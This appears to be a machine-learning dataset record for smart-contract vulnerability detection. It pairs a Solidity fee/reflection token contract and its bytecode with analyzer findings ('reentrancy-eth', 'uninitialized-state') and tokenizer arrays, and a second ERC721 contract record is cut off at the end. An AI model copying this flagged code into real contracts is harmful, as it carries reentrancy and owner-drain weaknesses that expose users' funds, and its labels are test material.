rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function mint(address to, uint256 value) external returns (bool) { require(msg.sender == minter, "only minter can call it"); if(_mTotal+value <= _tTotal) { _mTotal+= value; if (_isExcluded[to]) { _tOwned[to] += value; emit Transfer(address(0), to, value); return true; } else { uint256 amount = reflectionFromToken(value, false); _rOwned[to] += amount; emit Transfer(address(0), to, value); return true; } } return true; } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity); if(tBurn > 0) _burn(sender, tBurn); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function setMinter(address _minter) external onlyOwner { minter = _minter; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate(), tBurn); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tBurn); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tBurn = calculateBurnFee(tAmount); uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tBurn); return (tTransferAmount, tFee, tLiquidity, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate, uint256 tBurn) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(address sender, uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); emit Transfer(sender, address(this), tLiquidity); } function _burn(address sender, uint256 tBurn) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tBurn.mul(currentRate); _rOwned[address(0)] = _rOwned[address(0)].add(rLiquidity); if(_isExcluded[address(0)]) _tOwned[address(0)] = _tOwned[address(0)].add(tBurn); emit Transfer(sender, address(0), tBurn); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**3); } function calculateBurnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div(10**3); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 ) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = false; if(from == uniswapV2Pair || to == uniswapV2Pair) { takeFee = true; } if(!_taxEnabled || _isExcludedFromFee[from] || _isExcludedFromFee[to]){ //if any account belongs to _isExcludedFromFee account then remove the fee takeFee = false; } if(from == uniswapV2Pair) { _liquidityFee = _buyFees; } if (to == uniswapV2Pair) { _liquidityFee = _sellFees; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 Balance = address(this).balance; (bool succ, ) = address(marketing).call{value: Balance}(""); require(succ, "marketing ETH not sent"); emit SwapAndLiquify(contractTokenBalance, Balance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!_isExcludedBal[recipient] ) { require(balanceOf(recipient)<= _maxBalAmount, "Balance limit reached"); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); if(tBurn > 0) _burn(sender, tBurn); if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); if(tBurn > 0) _burn(sender, tBurn); if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBurn ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); if(tBurn > 0) _burn(sender, tBurn); if(tLiquidity > 0 ) _takeLiquidity(sender, tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102295760003560e01c806388f8202011610123578063c0b0fda2116100ab578063dd62ed3e1161006f578063dd62ed3e1461065d578063de7cf799146106a3578063e4d1a874146106b9578063f2fde38b146106cf578063fca3b5aa146106ef57600080fd5b8063c0b0fda2146105cb578063d12a7688146105e1578063d1eae073146105f7578063db48598b1461060d578063dd4670641461063d57600080fd5b8063a457c2d7116100f2578063a457c2d71461054b578063a69df4b51461056b578063a9059cbb14610580578063b0feaf3b146105a0578063b6c52324146105b657600080fd5b806388f82020146104c55780638da5cb5b146104fe57806395d89b411461051c578063966b47c31461053157600080fd5b8063313ce567116101b157806349bd5a5e1161017557806349bd5a5e146104145780634a74bb02146104345780635342acb41461045557806370a082311461048e578063715018a6146104ae57600080fd5b8063313ce5671461037c578063395093511461039e5780633b124fe7146103be57806340c10f19146103d45780634549b039146103f457600080fd5b80631694505e116101f85780631694505e146102e757806318160ddd1461030757806323b872dd1461031c5780632d3e474a1461033c5780632d8381191461035c57600080fd5b806306fdde03146102355780630754617214610260578063095ea7b31461029857806313114a9d146102c857600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61070f565b60405161025791906120e1565b60405180910390f35b34801561026c57600080fd5b50601a54610280906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b3480156102a457600080fd5b506102b86102b336600461214e565b6107a1565b6040519015158152602001610257565b3480156102d457600080fd5b50600c545b604051908152602001610257565b3480156102f357600080fd5b50601b54610280906001600160a01b031681565b34801561031357600080fd5b50600a546102d9565b34801561032857600080fd5b506102b861033736600461217a565b6107b8565b34801561034857600080fd5b50601954610280906001600160a01b031681565b34801561036857600080fd5b506102d96103773660046121bb565b610821565b34801561038857600080fd5b5060105460405160ff9091168152602001610257565b3480156103aa57600080fd5b506102b86103b936600461214e565b6108aa565b3480156103ca57600080fd5b506102d960135481565b3480156103e057600080fd5b506102b86103ef36600461214e565b6108e0565b34801561040057600080fd5b506102d961040f3660046121d4565b610a67565b34801561042057600080fd5b50601c54610280906001600160a01b031681565b34801561044057600080fd5b50601c546102b890600160a81b900460ff1681565b34801561046157600080fd5b506102b8610470366004612209565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561049a57600080fd5b506102d96104a9366004612209565b610af6565b3480156104ba57600080fd5b506104c3610b55565b005b3480156104d157600080fd5b506102b86104e0366004612209565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561050a57600080fd5b506000546001600160a01b0316610280565b34801561052857600080fd5b5061024a610bb7565b34801561053d57600080fd5b50601f546102b89060ff1681565b34801561055757600080fd5b506102b861056636600461214e565b610bc6565b34801561057757600080fd5b506104c3610c15565b34801561058c57600080fd5b506102b861059b36600461214e565b610d1b565b3480156105ac57600080fd5b506102d9600d5481565b3480156105c257600080fd5b506002546102d9565b3480156105d757600080fd5b506102d960115481565b3480156105ed57600080fd5b506102d9601e5481565b34801561060357600080fd5b506102d9601d5481565b34801561061957600080fd5b506102b8610628366004612209565b60096020526000908152604090205460ff1681565b34801561064957600080fd5b506104c36106583660046121bb565b610d28565b34801561066957600080fd5b506102d9610678366004612226565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106af57600080fd5b506102d960185481565b3480156106c557600080fd5b506102d960175481565b3480156106db57600080fd5b506104c36106ea366004612209565b610dad565b3480156106fb57600080fd5b506104c361070a366004612209565b610e85565b6060600e805461071e90612254565b80601f016020809104026020016040519081016040528092919081815260200182805461074a90612254565b80156107975780601f1061076c57610100808354040283529160200191610797565b820191906000526020600020905b81548152906001019060200180831161077a57829003601f168201915b5050505050905090565b60006107ae338484610ed1565b5060015b92915050565b60006107c5848484610ff5565b61081784336108128560405180606001604052806028815260200161240a602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906111fd565b610ed1565b5060019392505050565b6000600b5482111561088d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084015b60405180910390fd5b6000610897611237565b90506108a3838261125a565b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916107ae918590610812908661129c565b601a546000906001600160a01b0316331461093d5760405162461bcd60e51b815260206004820152601760248201527f6f6e6c79206d696e7465722063616e2063616c6c2069740000000000000000006044820152606401610884565b600a5482600d5461094e91906122a5565b116107ae5781600d600082825461096591906122a5565b90915550506001600160a01b03831660009081526007602052604090205460ff16156109ef576001600160a01b038316600090815260046020526040812080548492906109b39084906122a5565b90915550506040518281526001600160a01b038416906000906000805160206124528339815191529060200160405180910390a35060016107b2565b60006109fc836000610a67565b6001600160a01b038516600090815260036020526040812080549293508392909190610a299084906122a5565b90915550506040518381526001600160a01b038516906000906000805160206124528339815191529060200160405180910390a360019150506107b2565b6000600a54831115610abb5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610884565b81610adb576000610acb846112fb565b509496506107b295505050505050565b6000610ae6846112fb565b509396506107b295505050505050565b6001600160a01b03811660009081526007602052604081205460ff1615610b3357506001600160a01b031660009081526004602052604090205490565b6001600160a01b0382166000908152600360205260409020546107b290610821565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b8152600401610884906122bd565b600080546040516001600160a01b0390911690600080516020612432833981519152908390a3600080546001600160a01b0319169055565b6060600f805461071e90612254565b60006107ae338461081285604051806060016040528060258152602001612472602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906111fd565b6001546001600160a01b03163314610c7b5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610884565b6002544211610ccc5760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610884565b600154600080546040516001600160a01b03938416939091169160008051602061243283398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60006107ae338484610ff5565b6000546001600160a01b03163314610d525760405162461bcd60e51b8152600401610884906122bd565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055610d8181426122a5565b600255600080546040516001600160a01b0390911690600080516020612432833981519152908390a350565b6000546001600160a01b03163314610dd75760405162461bcd60e51b8152600401610884906122bd565b6001600160a01b038116610e3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610884565b600080546040516001600160a01b038085169392169160008051602061243283398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610eaf5760405162461bcd60e51b8152600401610884906122bd565b601a80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610884565b6001600160a01b038216610f945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610884565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610884565b600081116110bb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610884565b60006110c630610af6565b601e54909150811080159081906110e75750601c54600160a01b900460ff16155b80156111015750601c546001600160a01b03868116911614155b80156111165750601c54600160a81b900460ff165b156111245761112482611356565b601c546000906001600160a01b03878116911614806111505750601c546001600160a01b038681169116145b15611159575060015b601f5460ff16158061118357506001600160a01b03861660009081526006602052604090205460ff165b806111a657506001600160a01b03851660009081526006602052604090205460ff165b156111af575060005b601c546001600160a01b03878116911614156111cc576017546015555b601c546001600160a01b03868116911614156111e9576018546015555b6111f58686868461145d565b505050505050565b600081848411156112215760405162461bcd60e51b815260040161088491906120e1565b50600061122e84866122f2565b95945050505050565b600080600061124461164c565b9092509050611253828261125a565b9250505090565b60006108a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ce565b6000806112a983856122a5565b9050838110156108a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610884565b60008060008060008060008060008060006113158c6117fc565b935093509350935060008060006113368f8787611330611237565b88611851565b919f509d509b509599509397509195509350505050919395979092949650565b601c805460ff60a01b1916600160a01b179055611372816118b3565b60195460405147916000916001600160a01b039091169083908381818185875af1925050503d80600081146113c3576040519150601f19603f3d011682016040523d82523d6000602084013e6113c8565b606091505b50509050806114125760405162461bcd60e51b81526020600482015260166024820152751b585c9ad95d1a5b99c8115512081b9bdd081cd95b9d60521b6044820152606401610884565b60408051848152602081018490527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15050601c805460ff60a01b1916905550565b8061146a5761146a611a05565b6001600160a01b03841660009081526007602052604090205460ff1680156114ab57506001600160a01b03831660009081526007602052604090205460ff16155b156114c0576114bb848484611a33565b6115be565b6001600160a01b03841660009081526007602052604090205460ff1615801561150157506001600160a01b03831660009081526007602052604090205460ff165b15611511576114bb848484611b75565b6001600160a01b03841660009081526007602052604090205460ff1615801561155357506001600160a01b03831660009081526007602052604090205460ff16155b15611563576114bb848484611c34565b6001600160a01b03841660009081526007602052604090205460ff1680156115a357506001600160a01b03831660009081526007602052604090205460ff165b156115b3576114bb848484611c8e565b6115be848484611c34565b6001600160a01b03831660009081526009602052604090205460ff1661163057601d546115ea84610af6565b11156116305760405162461bcd60e51b815260206004820152601560248201527410985b185b98d9481b1a5b5a5d081c995858da1959605a1b6044820152606401610884565b8061164657611646601454601355601654601555565b50505050565b600b54600a546000918291825b60085481101561179e5782600360006008848154811061167b5761167b612309565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806116e657508160046000600884815481106116bf576116bf612309565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156116fc57600b54600a54945094505050509091565b611742600360006008848154811061171657611716612309565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611db5565b925061178a600460006008848154811061175e5761175e612309565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611db5565b9150806117968161231f565b915050611659565b50600a54600b546117ae9161125a565b8210156117c557600b54600a549350935050509091565b90939092509050565b600081836117ef5760405162461bcd60e51b815260040161088491906120e1565b50600061122e848661233a565b600080600080600061180d86611df7565b9050600061181a87611e1a565b9050600061182788611e37565b905060006118418461183b84818d88611db5565b90611db5565b9992985090965091945092505050565b60008080806118608987611e53565b9050600061186e8988611e53565b9050600061187c8989611e53565b9050600061188a888a611e53565b9050600061189e8261183b85818989611db5565b949d949c50929a509298505050505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106118e8576118e8612309565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611941573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611965919061235c565b8160018151811061197857611978612309565b6001600160a01b039283166020918202929092010152601b5461199e9130911684610ed1565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d7908590600090869030904290600401612379565b600060405180830381600087803b1580156119f157600080fd5b505af11580156111f5573d6000803e3d6000fd5b601354158015611a155750601554155b15611a1c57565b601380546014556015805460165560009182905555565b6000806000806000806000611a47886112fb565b9650965096509650965096509650611a8d88600460008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611db590919063ffffffff16565b6001600160a01b038b16600090815260046020908152604080832093909355600390522054611abc9088611db5565b6001600160a01b03808c1660009081526003602052604080822093909355908b1681522054611aeb908761129c565b6001600160a01b038a166000908152600360205260409020558015611b1457611b148a82611ed2565b8115611b2457611b248a8361200e565b611b2e85846120bd565b886001600160a01b03168a6001600160a01b031660008051602061245283398151915286604051611b6191815260200190565b60405180910390a350505050505050505050565b6000806000806000806000611b89886112fb565b9650965096509650965096509650611bcf87600360008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611db590919063ffffffff16565b6001600160a01b03808c16600090815260036020908152604080832094909455918c16815260049091522054611c05908561129c565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054611aeb908761129c565b6000806000806000806000611c48886112fb565b9650965096509650965096509650611abc87600360008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611db590919063ffffffff16565b6000806000806000806000611ca2886112fb565b9650965096509650965096509650611ce888600460008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611db590919063ffffffff16565b6001600160a01b038b16600090815260046020908152604080832093909355600390522054611d179088611db5565b6001600160a01b03808c16600090815260036020908152604080832094909455918c16815260049091522054611d4d908561129c565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054611d7c908761129c565b6001600160a01b038a166000908152600360205260409020558115611da557611da58a8361200e565b8015611b2457611b248a82611ed2565b60006108a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fd565b60006107b26103e8611e1460115485611e5390919063ffffffff16565b9061125a565b60006107b26103e8611e1460135485611e5390919063ffffffff16565b60006107b26064611e1460155485611e5390919063ffffffff16565b600082611e62575060006107b2565b6000611e6e83856123ea565b905082611e7b858361233a565b146108a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610884565b6000611edc611237565b90506000611eea8383611e53565b6000805260036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff54909150611f22908261129c565b600080527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff5560076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460ff1615611fd8576000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec54611fac908461129c565b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec555b6040518381526000906001600160a01b03861690600080516020612452833981519152906020015b60405180910390a350505050565b6000612018611237565b905060006120268383611e53565b30600090815260036020526040902054909150612043908261129c565b3060009081526003602090815260408083209390935560079052205460ff16156120925730600090815260046020526040902054612081908461129c565b306000908152600460205260409020555b60405183815230906001600160a01b0386169060008051602061245283398151915290602001612000565b600b546120ca9083611db5565b600b55600c546120da908261129c565b600c555050565b600060208083528351808285015260005b8181101561210e578581018301518582016040015282016120f2565b81811115612120576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461214b57600080fd5b50565b6000806040838503121561216157600080fd5b823561216c81612136565b946020939093013593505050565b60008060006060848603121561218f57600080fd5b833561219a81612136565b925060208401356121aa81612136565b929592945050506040919091013590565b6000602082840312156121cd57600080fd5b5035919050565b600080604083850312156121e757600080fd5b82359150602083013580151581146121fe57600080fd5b809150509250929050565b60006020828403121561221b57600080fd5b81356108a381612136565b6000806040838503121561223957600080fd5b823561224481612136565b915060208301356121fe81612136565b600181811c9082168061226857607f821691505b6020821081141561228957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156122b8576122b861228f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000828210156123045761230461228f565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156123335761233361228f565b5060010190565b60008261235757634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561236e57600080fd5b81516108a381612136565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123c95784516001600160a01b0316835293830193918301916001016123a4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156124045761240461228f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202de9f63cde19805a870bef192bcaa0002cc30e8a798f79b8018d61ffb7ae9d4564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2692, 20958, 2546, 2575, 2581, 14142, 28756, 2050, 25746, 2620, 2063, 21619, 21472, 2692, 4783, 19481, 4783, 2050, 2692, 22394, 2692, 2063, 2475, 14697, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,450
0x96d0c2877b5d4fa1a476a8184326ff3efa0f95f5
pragma solidity ^0.4.18; // solhint-disable-line library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC721 { function approve(address _to, uint256 _tokenID) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenID) public view returns (address addr); function takeOwnership(uint256 _tokenID) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenID) public; function transfer(address _to, uint256 _tokenID) public; event Transfer(address indexed from, address indexed to, uint256 tokenID); // solhint-disable-line event Approval(address indexed owner, address indexed approved, uint256 tokenID); function name() public pure returns (string); function symbol() public pure returns (string); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Manageable is Ownable { address public manager; bool public contractLock; event ManagerTransferred(address indexed previousManager, address indexed newManager); event ContractLockChanged(address admin, bool state); function Manageable() public { manager = msg.sender; contractLock = false; } modifier onlyManager() { require(msg.sender == manager); _; } modifier onlyAdmin() { require((msg.sender == manager) || (msg.sender == owner)); _; } modifier isUnlocked() { require(!contractLock); _; } function transferManager(address newManager) public onlyAdmin { require(newManager != address(0)); ManagerTransferred(manager, newManager); manager = newManager; } function setContractLock(bool setting) public onlyAdmin { contractLock = setting; ContractLockChanged(msg.sender, setting); } function payout(address _to) public onlyOwner { if (_to == address(0)) { owner.transfer(this.balance); } else { _to.transfer(this.balance); } } function withdrawFunds(address _to, uint256 amount) public onlyOwner { require(this.balance >= amount); if (_to == address(0)) { owner.transfer(amount); } else { _to.transfer(amount); } } } contract TokenLayer is ERC721, Manageable { using SafeMath for uint256; /********************************************** EVENTS **********************************************/ event TokenCreated(uint256 tokenId, bytes32 name, uint256 parentId, address owner); event TokenDeleted(uint256 tokenId); event TokenSold( uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, bytes32 name, uint256 parentId ); event PriceChanged(uint256 tokenId, uint256 oldPrice, uint256 newPrice); event ParentChanged(uint256 tokenId, uint256 oldParentId, uint256 